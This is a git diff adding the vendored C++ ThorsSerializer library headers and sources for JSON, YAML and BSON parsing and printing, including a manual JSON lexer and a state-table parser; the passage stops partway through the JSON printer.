+#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +enum class BsonContainer {Map, Array, Value}; +enum class ValueType {Int32, Int64, Double64, Double128, Bool, String, Null, Binary, Obj, Key}; + +template +struct MaxTemplate +{ + static constexpr std::size_t value = (lhs >= rhs) ? lhs : rhs; +}; + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/CustomSerialization.h b/Extern/include/ThorsSerializer/CustomSerialization.h new file mode 100644 index 0000000..6bfe4e7 --- /dev/null +++ b/Extern/include/ThorsSerializer/CustomSerialization.h @@ -0,0 +1,42 @@ +#ifndef THORS_ANVIL_SERIALIZATION_CUSTOM_SERIALIZATION_H +#define THORS_ANVIL_SERIALIZATION_CUSTOM_SERIALIZATION_H + +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +class PrinterInterface; +class ParserInterface; +class JsonPrinter; +class JsonParser; +class YamlPrinter; +class YamlParser; +class BsonPrinter; +class BsonParser; + +template +struct DefaultCustomSerializer +{ + virtual ~DefaultCustomSerializer() {} + + void writeCustom(PrinterInterface& printer, T const& object) const; + void readCustom(ParserInterface& parser, T& object) const; + + virtual void writeJson(JsonPrinter& printer, T const& object) const; + virtual void readJson(JsonParser& parser, T& object) const; + virtual void writeYaml(YamlPrinter& printer, T const& object) const; + virtual void readYaml(YamlParser& parser, T& object) const; + virtual std::size_t getPrintSizeBson(BsonPrinter& printer, T const& object) const; + virtual char getBsonByteMark() const{return '\x00';} // You should also override this see Bson specifications + virtual void writeBson(BsonPrinter& printer, T const& object) const; + virtual void readBson(BsonParser& parser, char byteMarker, T& object) const; +}; + } +} + +#include "CustomSerialization.tpp" + +#endif diff --git a/Extern/include/ThorsSerializer/CustomSerialization.tpp b/Extern/include/ThorsSerializer/CustomSerialization.tpp new file mode 100644 index 0000000..4a8ce75 --- /dev/null +++ b/Extern/include/ThorsSerializer/CustomSerialization.tpp @@ -0,0 +1,133 @@ +#ifndef THORS_ANVIL_SERIALIZATION_CUSTOM_SERIALIZATION_TPP +#define THORS_ANVIL_SERIALIZATION_CUSTOM_SERIALIZATION_TPP + +#include "JsonPrinter.h" +#include "YamlPrinter.h" +#include "BsonPrinter.h" +#include "JsonParser.h" +#include "YamlParser.h" +#include "BsonParser.h" + +namespace ThorsAnvil +{ + namespace Serialize + { + +template +void DefaultCustomSerializer::writeCustom(PrinterInterface& printer, T const& object) const +{ + switch (printer.formatType()) + { + case FormatType::Json: + { + JsonPrinter& jsonPrinter = dynamic_cast(printer); + jsonPrinter.addPrefix(); + return writeJson(jsonPrinter, object); + } + case FormatType::Yaml: return writeYaml(dynamic_cast(printer), object); + case FormatType::Bson: + { + BsonPrinter& bsonPrinter = dynamic_cast(printer); + bsonPrinter.writeKey(getBsonByteMark(), getPrintSizeBson(bsonPrinter, object)); + return writeBson(bsonPrinter, object); + } + default: + { + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", + "writeCustom", + "Unsupported Format. Should never reach this"); + } + } +} + +template +void DefaultCustomSerializer::readCustom(ParserInterface& parser, T& object) const +{ + switch (parser.formatType()) + { + case FormatType::Json: return readJson(dynamic_cast(parser), object); + case FormatType::Yaml: return readYaml(dynamic_cast(parser), object); + case FormatType::Bson: + { + BsonParser& bsonParser = dynamic_cast(parser); + std::streampos pos = parser.stream().tellg(); + readBson(bsonParser, bsonParser.getValueType(), object); + bsonParser.useStreamData(parser.stream().tellg() - pos); + break; + } + default: + { + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", + "readCustom", + "Unsupported Format. Should never reach this"); + } + } +} + +template +void DefaultCustomSerializer::writeJson(JsonPrinter& /*printer*/, T const& /*object*/) const +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", "writeJson", + "Using an unimplemented translation:\n", + "This means you are a streaming a type you have marked with the macro: ThorsAnvil_MakeTraitCustomSerialize.\n", + "But have not implemented the writeJson() method on the SerializationClass"); +} + +template +void DefaultCustomSerializer::readJson(JsonParser& /*parser*/, T& /*object*/) const +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", "readJson", + "Using an unimplemented translation:\n", + "This means you are a streaming a type you have marked with the macro: ThorsAnvil_MakeTraitCustomSerialize.\n", + "But have not implemented the readJson() method on the SerializationClass"); +} + +template +void DefaultCustomSerializer::writeYaml(YamlPrinter& /*printer*/, T const& /*object*/) const +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", "writeYaml", + "Using an unimplemented translation:\n", + "This means you are a streaming a type you have marked with the macro: ThorsAnvil_MakeTraitCustomSerialize.\n", + "But have not implemented the writeYaml() method on the SerializationClass"); +} + +template +void DefaultCustomSerializer::readYaml(YamlParser& /*parser*/, T& /*object*/) const +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", "readYaml", + "Using an unimplemented translation:\n", + "This means you are a streaming a type you have marked with the macro: ThorsAnvil_MakeTraitCustomSerialize.\n", + "But have not implemented the readYaml() method on the SerializationClass"); +} + +template +std::size_t DefaultCustomSerializer::getPrintSizeBson(BsonPrinter& /*printer*/, T const& /*object*/) const +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", "getPrintSizeBson", + "Using an unimplemented translation:\n", + "This means you are a streaming a type you have marked with the macro: ThorsAnvil_MakeTraitCustomSerialize.\n", + "But have not implemented the getPrintSizeBson() method on the SerializationClass"); +} + +template +void DefaultCustomSerializer::writeBson(BsonPrinter& /*printer*/, T const& /*object*/) const +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", "writeBson", + "Using an unimplemented translation:\n", + "This means you are a streaming a type you have marked with the macro: ThorsAnvil_MakeTraitCustomSerialize.\n", + "But have not implemented the writeBson() method on the SerializationClass"); +} + +template +void DefaultCustomSerializer::readBson(BsonParser& /*parser*/, char /*byteMarker*/, T& /*object*/) const +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize::DefaultCustomSerializer", "readBson", + "Using an unimplemented translation:\n", + "This means you are a streaming a type you have marked with the macro: ThorsAnvil_MakeTraitCustomSerialize.\n", + "But have not implemented the readBson() method on the SerializationClass"); +} + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/Exporter.h b/Extern/include/ThorsSerializer/Exporter.h new file mode 100644 index 0000000..bc6c609 --- /dev/null +++ b/Extern/include/ThorsSerializer/Exporter.h @@ -0,0 +1,81 @@ +#ifndef THORS_ANVIL_SERIALIZE_EXPORTER_H +#define THORS_ANVIL_SERIALIZE_EXPORTER_H +/* + * The Exporter simply wrap an object of type T so that when serialized + * it creates an object of type Serializer and calls it appropriately. + */ + +#include "Serialize.h" +//#include "ThorsLogging/ThorsLogging.h" + +namespace ThorsAnvil +{ + namespace Serialize + { + +template +class Exporter +{ + using PrinterConfig = PrinterInterface::PrinterConfig; + T const& value; + PrinterConfig config; + public: + Exporter(T const& value, PrinterConfig config) + : value(value) + , config(config) + {} + friend std::ostream& operator<<(std::ostream& stream, Exporter const& data) + { + try + { + typename Format::Printer printer(stream, data.config); + Serializer serializer(printer); + + serializer.print(data.value); + } + catch (ThorsAnvil::Logging::CriticalException const& e) + { + ThorsCatchMessage("ThorsAnvil::Serialize::Exporter", "operator<<", e.what()); + ThorsRethrowMessage("ThorsAnvil::Serialize::Exporter", "operator<<", e.what()); + // This exception is thrown because you are using deprecated code + // that was not designed to be used with the bsonExporter + // This must be fixed. So we are forcing a re-throw becuase + // the generated binary object is probably bad. + throw; + } + catch (std::exception const& e) + { + ThorsCatchMessage("ThorsAnvil::Serialize::Exporter", "operator<<", e.what()); + stream.setstate(std::ios::failbit); + if (!data.config.catchExceptions) + { + ThorsRethrowMessage("ThorsAnvil::Serialize::Exporter", "operator<<", e.what()); + throw; + } + } + catch (...) + { + ThorsCatchMessage("ThorsAnvil::Serialize::Exporter", "operator<<", "UNKNOWN"); + stream.setstate(std::ios::failbit); + if (!data.config.catchExceptions) + { + ThorsRethrowMessage("ThorsAnvil::Serialize::Exporter", "operator>>", "UNKNOWN"); + throw; + } + } + + return stream; + } +}; + +template +Exporter Export(T const& value, PrinterInterface::PrinterConfig config = PrinterInterface::PrinterConfig{}) +{ + return Exporter(value, config); +} + + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/Importer.h b/Extern/include/ThorsSerializer/Importer.h new file mode 100644 index 0000000..84bd8e0 --- /dev/null +++ b/Extern/include/ThorsSerializer/Importer.h @@ -0,0 +1,79 @@ +#ifndef THORS_ANVIL_SERIALIZE_IMPORTER_H +#define THORS_ANVIL_SERIALIZE_IMPORTER_H +/* + * The Importer simply wrap an object of type T so that when de-serialized + * it creates an object of type DeSerializer and calls it appropriately. + */ + +#include "Serialize.h" + +namespace ThorsAnvil +{ + namespace Serialize + { + +template +class Importer +{ + using ParserConfig = ParserInterface::ParserConfig; + T& value; + ParserConfig config; + public: + Importer(T& value, ParserConfig config = ParserConfig{}) + : value(value) + , config(config) + {} + friend std::istream& operator>>(std::istream& stream, Importer const& data) + { + try + { + typename Format::Parser parser(stream, data.config); + DeSerializer deSerializer(parser); + + deSerializer.parse(data.value); + } + catch (ThorsAnvil::Logging::CriticalException const& e) + { + ThorsCatchMessage("ThorsAnvil::Serialize::Importer", "operator>>", e.what()); + ThorsRethrowMessage("ThorsAnvil::Serialize::Importer", "operator>>", e.what()); + // This exception is thrown because you are using deprecated code + // that was not designed to be used with the bsonExporter + // This must be fixed. So we are forcing a re-throw becuase + // the generated binary object is probably bad. + throw; + } + catch (std::exception const& e) + { + ThorsCatchMessage("ThorsAnvil::Serialize::Importer", "operator>>", e.what()); + stream.setstate(std::ios::failbit); + if (!data.config.catchExceptions) + { + ThorsRethrowMessage("ThorsAnvil::Serialize::Importer", "operator>>", e.what()); + throw; + } + } + catch (...) + { + ThorsCatchMessage("ThorsAnvil::Serialize::Importer", "operator>>", "UNKNOWN"); + stream.setstate(std::ios::failbit); + if (!data.config.catchExceptions) + { + ThorsRethrowMessage("ThorsAnvil::Serialize::Importer", "operator>>", "UNKNOWN"); + throw; + } + } + return stream; + } +}; + +template +Importer Import(T const& value, ParserInterface::ParserConfig config = ParserInterface::ParserConfig{}) +{ + return Importer(value, config); +} + + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/JsonLexemes.h b/Extern/include/ThorsSerializer/JsonLexemes.h new file mode 100644 index 0000000..56864ea --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonLexemes.h @@ -0,0 +1,23 @@ +#ifndef THORS_ANVIL_SERIALIZE_JSON_LEXEMES_H +#define THORS_ANVIL_SERIALIZE_JSON_LEXEMES_H + +#include "Serialize.h" +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +enum YYTokenType + { + JSON_STRING = 258, + JSON_TRUE = 261, + JSON_FALSE = 262, + JSON_NULL = 263, + JSON_NUMBER = 264 + }; + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/JsonManualLexer.cpp b/Extern/include/ThorsSerializer/JsonManualLexer.cpp new file mode 100644 index 0000000..731fc28 --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonManualLexer.cpp @@ -0,0 +1,289 @@ +#include "SerializeConfig.h" +#include "JsonManualLexer.h" +#include "JsonLexemes.h" +#include "UnicodeIterator.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" + +#include +#include + +using namespace ThorsAnvil::Serialize; + +HEADER_ONLY_INCLUDE +JsonManualLexer::JsonManualLexer(std::istream& str) + : str(str) + , lastNull(false) +{} + +HEADER_ONLY_INCLUDE +int JsonManualLexer::yylex() +{ + char next; + str >> next; + buffer.clear(); + lastNull = false; + switch (next) + { + case '{': + case '}': + case '[': + case ']': + case ',': + case ':': + { + return lastToken = next; + } + case 't': + { + str.unget(); + lastBool = true; + return lastToken = ThorsAnvil::Serialize::JSON_TRUE; + } + case 'f': + { + str.unget(); + lastBool = false; + return lastToken = ThorsAnvil::Serialize::JSON_FALSE; + } + case 'n': + { + str.unget(); + lastNull = true; + return lastToken = ThorsAnvil::Serialize::JSON_NULL; + } + case '"': + { + str.unget(); + return lastToken = ThorsAnvil::Serialize::JSON_STRING; + } + default: + { + str.unget(); + return lastToken = ThorsAnvil::Serialize::JSON_NUMBER; + } + } +} + +HEADER_ONLY_INCLUDE +void JsonManualLexer::readTrue() +{ + checkFixed("true", 4); +} + +HEADER_ONLY_INCLUDE +void JsonManualLexer::readFalse() +{ + checkFixed("false", 5); +} + +HEADER_ONLY_INCLUDE +void JsonManualLexer::readNull() +{ + checkFixed("null", 4); +} + +HEADER_ONLY_INCLUDE +void JsonManualLexer::ignoreRawValue() +{ + switch (lastToken) + { + case ThorsAnvil::Serialize::JSON_TRUE: str.ignore(4);break; + case ThorsAnvil::Serialize::JSON_FALSE: str.ignore(5);break; + case ThorsAnvil::Serialize::JSON_NULL: str.ignore(4);break; + case ThorsAnvil::Serialize::JSON_NUMBER: readNumber();break; + case ThorsAnvil::Serialize::JSON_STRING: + { + char last = str.get(); // Read the first Quote off the stream + int next = str.get(); + while (next != EOF && !(next == '"' && last != '\\')) + { + last = next; + next = str.get(); + } + if (next == EOF) + { + error(); + } + break; + } + default:break; + } +} + +HEADER_ONLY_INCLUDE +std::string JsonManualLexer::getRawString() +{ + switch (lastToken) + { + case '{': return "{"; + case '}': return "}"; + case '[': return "["; + case ']': return "]"; + case ',': return ","; + case ':': return ":"; + case ThorsAnvil::Serialize::JSON_TRUE: str.ignore(4);return "true"; + case ThorsAnvil::Serialize::JSON_FALSE: str.ignore(5);return "false"; + case ThorsAnvil::Serialize::JSON_NULL: str.ignore(4);return "null"; + //case ThorsAnvil::Serialize::JSON_INTEGER: + //case ThorsAnvil::Serialize::JSON_FLOAT: + case ThorsAnvil::Serialize::JSON_NUMBER: + { + readNumber(); + return buffer; + } + case ThorsAnvil::Serialize::JSON_STRING: + { + std::string result; + + char last = str.get(); // Read the first Quote off the stream + result.push_back(last); + int next = str.get(); + while (next != EOF && !(next == '"' && last != '\\')) + { + if (next < 0x20) + { + ThorsLogAndThrow("ThorsAnvil::Serializer::JsonManualLexer", + "getRawString", + "Strings should not contain control characters."); + } + result.push_back(next); + last = next; + next = str.get(); + } + if (next == EOF) + { + error(); + } + result.push_back('"'); + return result; + } + default: + { + ThorsLogAndThrow("ThorsAnvil::Serializer::JsonManualLexer", + "getRawString", + "Don't know how to retrieve the RAW data from the JSON input"); + } + } +} + +HEADER_ONLY_INCLUDE +std::string JsonManualLexer::getString() +{ + return std::string(make_UnicodeWrapperIterator(std::istreambuf_iterator(str)), make_EndUnicodeWrapperIterator(std::istreambuf_iterator(str))); +} + +HEADER_ONLY_INCLUDE +bool JsonManualLexer::getLastBool() +{ + switch (lastToken) + { + case ThorsAnvil::Serialize::JSON_TRUE: + readTrue(); + return lastBool; + case ThorsAnvil::Serialize::JSON_FALSE: + readFalse(); + return lastBool; + default: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::JsonParser", + "getLastBool", + "The last value was not a bool"); + } + } +} + +HEADER_ONLY_INCLUDE +bool JsonManualLexer::isLastNull() +{ + return lastNull; +} + +HEADER_ONLY_INCLUDE +char JsonManualLexer::readDigits(char next) +{ + if (!std::isdigit(next)) + { + error(); + } + while (std::isdigit(next)) + { + buffer.push_back(next); + next = str.get(); + } + return next; +} +HEADER_ONLY_INCLUDE +void JsonManualLexer::readNumber() +{ + buffer.clear(); + + int next = str.get(); + + if (next == '-' || next == '+') + { + buffer.push_back(next); + next = str.get(); + if (next == EOF) + { error(); + } + } + if (next == '0') + { + buffer.push_back(next); + next = str.get(); + } + else + { + next = readDigits(next); + } + if (next == '.') + { + buffer.push_back(next); + next = str.get(); + if (next == EOF) + { error(); + } + next = readDigits(next); + } + if (next == 'e' || next == 'E') + { + buffer.push_back(next); + next = str.get(); + if (next == EOF) + { error(); + } + if (next == '-' || next == '+') + { + buffer.push_back(next); + next = str.get(); + if (next == EOF) + { error(); + } + } + next = readDigits(next); + } + if (next != EOF) + { + str.unget(); + } +} + +HEADER_ONLY_INCLUDE +void JsonManualLexer::checkFixed(char const* check, std::size_t size) +{ + buffer.resize(size); + str.read(&buffer[0], size); + if (std::strncmp(&buffer[0], check, size) != 0) + { + error(); + } +} + +HEADER_ONLY_INCLUDE +void JsonManualLexer::error() +{ + ThorsLogAndThrow("ThorsAnvil::Serialize::JsonManualLexer", + "error", + "Invalid Character in Lexer"); +} diff --git a/Extern/include/ThorsSerializer/JsonManualLexer.h b/Extern/include/ThorsSerializer/JsonManualLexer.h new file mode 100644 index 0000000..b82b8bd --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonManualLexer.h @@ -0,0 +1,65 @@ +#ifndef THORS_ANVIL_SERIALIZER_JSON_MANUAL_LEXER_H +#define THORS_ANVIL_SERIALIZER_JSON_MANUAL_LEXER_H + +#include "Serialize.h" +//#include "ThorsIOUtil/Utility.h" +//#include "ThorsLogging/ThorsLogging.h" +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +class JsonManualLexer +{ + std::istream& str; + std::string buffer; + int lastToken; + bool lastBool; + bool lastNull; + public: + JsonManualLexer(std::istream& str); + int yylex(); + + void ignoreRawValue(); + std::string getRawString(); + std::string getString(); + bool getLastBool(); + bool isLastNull(); + template + T scan(); + private: + void readTrue(); + void readFalse(); + void readNull(); + void readNumber(); + + void checkFixed(char const* check, std::size_t size); + char readDigits(char next); + void error(); +}; + +template +inline T JsonManualLexer::scan() +{ + readNumber(); + + char* end; + T value = scanValue(&buffer[0], &end); + if (buffer.size() == 0 || &buffer[0] + buffer.size() != end) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::JsonParser", + "scan", + "No data left to scan"); + } + return value; +} + } +} + +#if defined(HEADER_ONLY) && HEADER_ONLY == 1 +#include "JsonManualLexer.source" +#endif + +#endif diff --git a/Extern/include/ThorsSerializer/JsonParser.cpp b/Extern/include/ThorsSerializer/JsonParser.cpp new file mode 100644 index 0000000..229a9f1 --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonParser.cpp @@ -0,0 +1,209 @@ +#include "SerializeConfig.h" +#include "JsonParser.h" +#include "JsonLexemes.h" +#include "UnicodeIterator.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include +#include +#include + +// enum class ParserToken {Error, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value}; +using namespace ThorsAnvil::Serialize; +using ParserToken = ParserInterface::ParserToken; + +HEADER_ONLY_INCLUDE +JsonParser::JsonParser(std::istream& stream, ParserConfig config) + : ParserInterface(stream, config) + , lexer(stream) + , currentEnd(Done) + , currentState(Init) + , started(false) +{} + +HEADER_ONLY_INCLUDE +ParserToken JsonParser::getNextToken() +{ + /* Handle States were we are not going to read any more */ + if (!started) + { + started = true; + return ParserToken::DocStart; + } + if (currentState == Done) + { + currentState = Error; + return ParserToken::DocEnd; + } + if (currentState == Error) + { + return ParserToken::Error; + } + + // Convert Lexer tokens into smaller range 0-12 + static std::map tokenIndex = + { + {0, 0}, + {'{', 1}, + {'}', 2}, + {'[', 3}, + {']', 4}, + {',', 5}, + {':', 6}, + {ThorsAnvil::Serialize::JSON_TRUE, 7}, + {ThorsAnvil::Serialize::JSON_FALSE, 8}, + {ThorsAnvil::Serialize::JSON_NULL, 9}, + {ThorsAnvil::Serialize::JSON_STRING, 10}, + //{ThorsAnvil::Serialize::JSON_INTEGER, 11}, + //{ThorsAnvil::Serialize::JSON_FLOAT, 12} + {ThorsAnvil::Serialize::JSON_NUMBER, 13} + }; + // State transition table; + static State stateTable[][14] = + { + /* Token -> 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 13*/ + /* Error */ { Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error }, + /* Init */ { Error, OpenM, Error, OpenA, Error, Error, Error, ValueD, ValueD, ValueD, ValueD, ValueD, ValueD, ValueD }, + /* OpenM */ { Error, Error, CloseM, Error, Error, Error, Error, Error, Error, Error, Key, Error, Error, Error }, + /* Key */ { Error, Error, Error, Error, Error, Error, Colon, Error, Error, Error, Error, Error, Error, Error }, + /* Colon */ { Error, OpenM, Error, OpenA, Error, Error, Error, ValueM, ValueM, ValueM, ValueM, ValueM, ValueM, ValueM }, + /* ValueM*/ { Error, Error, CloseM, Error, Error, CommaM, Error, Error, Error, Error, Error, Error, Error, Error }, + /* CommaM*/ { Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Key, Error, Error, Error }, + /* CloseM*/ { Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error }, + /* OpenA */ { Error, OpenM, Error, OpenA, CloseA, Error, Error, ValueA, ValueA, ValueA, ValueA, ValueA, ValueA, ValueA }, + /* ValueA*/ { Error, Error, Error, Error, CloseA, CommaA, Error, Error, Error, Error, Error, Error, Error, Error }, + /* CommaA*/ { Error, OpenM, Error, OpenA, Error, Error, Error, ValueA, ValueA, ValueA, ValueA, ValueA, ValueA, ValueA }, + /* CloseA*/ { Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error }, + /* ValueD*/ { Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error }, + /* Done */ { Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error, Error }, + }; + + // Read the next token and update the state. + int token = lexer.yylex(); + int index = tokenIndex[token]; + + currentState = stateTable[currentState][index]; + switch (currentState) + { + // The states that we actually want to return + case Error: + return ParserToken::Error; + case Key: + return ParserToken::Key; + case ValueM: + return ParserToken::Value; + case ValueA: + return ParserToken::Value; + case ValueD: + currentState = Done; + return ParserToken::Value; + // Punctuation. + // Parse it but it is not the actual result + // So try and get the next token. + case Colon: + return getNextToken(); + case CommaM: + return getNextToken(); + case CommaA: + return getNextToken(); + // We are going into a containing object. + + // Push the state we want when the containing + // object is complete then set the state we will + // need if we open another container. + case OpenM: + parrentState.push_back(currentEnd); + currentEnd = ValueM; + return ParserToken::MapStart; + case OpenA: + parrentState.push_back(currentEnd); + currentEnd = ValueA; + return ParserToken::ArrayStart; + + // We are leaving the containing object. + // Pop the state we previously saved. + case CloseM: + currentEnd = currentState = parrentState.back(); + parrentState.pop_back(); + return ParserToken::MapEnd; + case CloseA: + currentEnd = currentState = parrentState.back(); + parrentState.pop_back(); + return ParserToken::ArrayEnd; + + // Anything else is an error. + // We don't have a default as it should never happen. + // If it does happen we fall through anyway to the throw statement below. + default: break; + } + // If we hit anything else there was a serious problem in the + // parser itself. + ThorsLogAndThrow("ThorsAnvil::Serialize::JsonParser", + "getNextToken", + "Reached an Unnamed State"); +} + +HEADER_ONLY_INCLUDE +std::string JsonParser::getString() +{ + return lexer.getString(); +} +HEADER_ONLY_INCLUDE +std::string JsonParser::getRawString() +{ + return lexer.getRawString(); +} +HEADER_ONLY_INCLUDE +void JsonParser::ignoreDataValue() +{ + lexer.ignoreRawValue(); +} + +HEADER_ONLY_INCLUDE +std::string JsonParser::getKey() +{ + return getString(); +} + +template +inline T JsonParser::scan() +{ + return lexer.scan(); +} + +HEADER_ONLY_INCLUDE void JsonParser::getValue(short int& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(int& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(long int& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(long long int& value) {value = scan();} + +HEADER_ONLY_INCLUDE void JsonParser::getValue(unsigned short int& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(unsigned int& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(unsigned long int& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(unsigned long long int& value) {value = scan();} + +HEADER_ONLY_INCLUDE void JsonParser::getValue(float& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(double& value) {value = scan();} +HEADER_ONLY_INCLUDE void JsonParser::getValue(long double& value) {value = scan();} + +HEADER_ONLY_INCLUDE void JsonParser::getValue(bool& value) +{ + value = lexer.getLastBool(); +} + +HEADER_ONLY_INCLUDE +void JsonParser::getValue(std::string& value) +{ + value = getString(); +} + +HEADER_ONLY_INCLUDE +bool JsonParser::isValueNull() +{ + return lexer.isLastNull(); +} + +HEADER_ONLY_INCLUDE +std::string JsonParser::getRawValue() +{ + return getRawString(); +} diff --git a/Extern/include/ThorsSerializer/JsonParser.h b/Extern/include/ThorsSerializer/JsonParser.h new file mode 100644 index 0000000..91efaf7 --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonParser.h @@ -0,0 +1,83 @@ +#ifndef THORS_ANVIL_SERIALIZE_JSON_PARSER_H +#define THORS_ANVIL_SERIALIZE_JSON_PARSER_H +/* + * JsonParser + * This is used in conjunction with JsonPrinter + * + * Together these provide an implementation of: + * the ParserInterface for type T + * and PrinterInterface for type T + * + * These Interfaces are used by Serializer and DeSerializer (see Serialize.h) + * + * It uses ThorsAnvil::Serialize::Traits to know what objects to pull from the stream. + * For arrays order is important. + * For Objects the order of elements is not important. It looks up the key in the Traits + * information to understand which member is being de-serialized but unspecified elements + * will not cause an error. + */ + +#include "Serialize.h" +#include "JsonManualLexer.h" +#include +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +class JsonParser: public ParserInterface +{ + enum State {Error, Init, OpenM, Key, Colon, ValueM, CommaM, CloseM, OpenA, ValueA, CommaA, CloseA, ValueD, Done}; + + JsonManualLexer lexer; + std::vector parrentState; + State currentEnd; + State currentState; + bool started; + + std::string getString(); + std::string getRawString(); + + template + T scan(); + public: + JsonParser(std::istream& stream, ParserConfig config = ParserConfig{}); + virtual FormatType formatType() override {return FormatType::Json;} + virtual ParserToken getNextToken() override; + virtual std::string getKey() override; + + virtual void ignoreDataValue() override; + + virtual void getValue(short int& value) override; + virtual void getValue(int& value) override; + virtual void getValue(long int& value) override; + virtual void getValue(long long int& value) override; + + virtual void getValue(unsigned short int& value) override; + virtual void getValue(unsigned int& value) override; + virtual void getValue(unsigned long int& value) override; + virtual void getValue(unsigned long long int& value) override; + + virtual void getValue(float& value) override; + virtual void getValue(double& value) override; + virtual void getValue(long double& value) override; + + virtual void getValue(bool& value) override; + + virtual void getValue(std::string& value) override; + + virtual bool isValueNull() override; + + virtual std::string getRawValue() override; +}; + } +} + +#if defined(HEADER_ONLY) && HEADER_ONLY == 1 +#include "JsonParser.source" +#endif + +#endif diff --git a/Extern/include/ThorsSerializer/JsonPrinter.cpp b/Extern/include/ThorsSerializer/JsonPrinter.cpp new file mode 100644 index 0000000..10e5e27 --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonPrinter.cpp @@ -0,0 +1,221 @@ +#include "SerializeConfig.h" +#include "JsonPrinter.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include +#include + +using namespace ThorsAnvil::Serialize; + +namespace +{ + struct Prefix + { + + static char const* space[]; + static char const* comma[]; + static char const* colon[]; + + PrinterInterface::OutputType characteristics; + int size; + std::pair& state; + public: + Prefix(PrinterInterface::OutputType characteristics, int size, std::pair& state) + : characteristics(characteristics) + , size(size) + , state(state) + {} + void printSeporator(std::ostream& stream, bool key) const + { + char const*(&seporator)[] = (!key && state.second == TraitType::Map) + ? colon + : (state.first != 0) ? comma : space; + stream << seporator[static_cast(characteristics)]; + } + }; + struct PrefixKey: public Prefix + { + using Prefix::Prefix; + friend std::ostream& operator<<(std::ostream& stream, PrefixKey const& data) + { + data.printSeporator(stream, true); + if (data.characteristics == PrinterInterface::OutputType::Stream) + { + return stream; + } + return stream << "\n" << std::string(data.size, '\t'); + } + }; + struct PrefixValue: public Prefix + { + using Prefix::Prefix; + friend std::ostream& operator<<(std::ostream& stream, PrefixValue const& data) + { + data.printSeporator(stream, false); + ++data.state.first; + + //if (data.characteristics == PrinterInterface::OutputType::Stream || data.state.second == TraitType::Array) + { + return stream; + } + //return stream << "\n" << std::string(data.size, '\t'); + } + }; + struct PrefixMap: public Prefix + { + using Prefix::Prefix; + friend std::ostream& operator<<(std::ostream& stream, PrefixMap const& data) + { + data.printSeporator(stream, false); + + if (data.characteristics == PrinterInterface::OutputType::Stream) + { + return stream; + } + return stream << "\n" << std::string(data.size, '\t'); + } + }; + struct PrefixMapClose: public Prefix + { + using Prefix::Prefix; + friend std::ostream& operator<<(std::ostream& stream, PrefixMapClose const& data) + { + ++data.state.first; + if (data.characteristics == PrinterInterface::OutputType::Stream) + { + return stream; + } + return stream << "\n" << std::string(data.size, '\t'); + } + }; + struct PrefixArray: public Prefix + { + using Prefix::Prefix; + friend std::ostream& operator<<(std::ostream& stream, PrefixArray const& data) + { + data.printSeporator(stream, false); + return stream; + } + }; + struct PrefixArrayClose: public Prefix + { + using Prefix::Prefix; + friend std::ostream& operator<<(std::ostream& stream, PrefixArrayClose const& data) + { + ++data.state.first; + return stream; + } + }; +} + +char const* Prefix::space[] = {" ", "", " "}; +char const* Prefix::comma[] = {", ", ",", ", "}; +char const* Prefix::colon[] = {": ", ":", ": "}; + +HEADER_ONLY_INCLUDE +JsonPrinter::JsonPrinter(std::ostream& output, PrinterConfig config) + : PrinterInterface(output, config) +{ + state.emplace_back(0, TraitType::Value); +} + +HEADER_ONLY_INCLUDE +void JsonPrinter::openDoc() +{} +HEADER_ONLY_INCLUDE +void JsonPrinter::closeDoc() +{} + +HEADER_ONLY_INCLUDE +void JsonPrinter::openMap(std::size_t) +{ + output << PrefixMap(config.characteristics, state.size(), state.back()) << "{"; + state.emplace_back(0, TraitType::Map); +} +HEADER_ONLY_INCLUDE +void JsonPrinter::closeMap() +{ + if (state.back().second != TraitType::Map) + { + 